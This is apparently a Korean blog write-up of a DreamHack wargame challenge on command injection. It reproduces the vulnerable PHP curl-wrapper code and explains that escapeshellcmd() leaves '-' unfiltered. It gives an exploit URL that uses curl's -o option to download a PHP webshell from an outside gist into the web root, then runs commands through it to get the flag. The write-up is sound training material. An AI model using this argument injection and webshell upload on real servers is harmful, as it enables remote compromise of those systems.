본문 바로가기

DreamHack

[DreamHack] Command Injection Advanced

https://dreamhack.io/wargame/challenges/413/

 

Command Injection Advanced

Description Exercise: Command Injection Advanced에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 1 

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            /* 유저 입력에 http 가 포함되어있는지 확인 */
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                /* escapeshellcmd(): ';', '||', '&&' 등 필터링 */
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

 

위 PHP 코드에서 escapeshellcmd() 함수를 통해, 문자를 필터링하고 있습니다.

이후, shell_exec() 함수를 통해 curl 명령에 유저로부터 받은 인자를 넘겨 실행하고 있습니다. 

cache 폴더에 md5(url) 해시 함수를 통해 파일을 만든 후, 내용을 해당 파일에 써주고 있습니다.

 

escapeshellcmd() 함수는 '-' 문자를 필터링하지 않기 때문에, curl 명령에 존재하는 옵션을 활용할 수 있게 됩니다. curl 명령에 -o 옵션을 사용하면 임시 파일을 생성할 수 있습니다. 

 

> escapeshellcmd() 함수에 대해 더 자세히 알고 싶다면 아래 링크를 참조하시면 됩니다 :) 

https://www.php.net/manual/en/function.escapeshellcmd.php

 

PHP: escapeshellcmd - Manual

I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...Here's a little perl function I wrote to fix it.sub unescape_string {      my $string = shift;

www.php.net

그렇기에, -o 옵션을 활용하여 웹셸을 업로드하면 Exploitation이 가능합니다.

 

개인 웹서버가 있을 경우, 개인 웹서버에 webshell.php 코드를 생성하여 curl 명령을 통해 다운로드 받으면 되지만, 없을 경우에 아래 URL 링크를 활용하면 됩니다. 

 

https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%20-o%20/var/www/html/cache/webshell.php

Exploit Code

https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%20-o%20/var/www/html/cache/webshell.php

 

위 내용을 입력으로 주게 되면, /var/www/html/cache/ 경로에 webshell.php 파일이 생기게 됩니다. 

그리하여, .아래와 같이 /cache/webshell.php 경로에 접근하여 명령을 실행시킬 수 있게 됩니다. 

 

위 사진은 "ls /' 명령을 실행한 결과입니다. 결과를 보면 flag 가 있는 것을 볼 수 있습니다. 

 

cat /flag 명령을 입력해보았는데 아무것도 나오지 않아서 file /flag  명령을 통해 파일 유형을 확인해보니

실행파일이라고 나와있는 것을 확인할 수 있습니다. 

 

실행파일이므로 /flag 를 통해 파일을 실행시켜주면 FLAG 를 획득할 수 있습니다. 

 

'DreamHack' 카테고리의 다른 글

[DreamHack] XSS Filtering Bypass  (1) 2023.06.15
[DreamHack] baby-sqlite  (0) 2023.06.15
[DreamHack] out_of_bound  (0) 2023.06.09
[DreamHack] XSS - 2  (2) 2023.06.07
[DreamHack] Return Address Overwrite  (0) 2022.11.14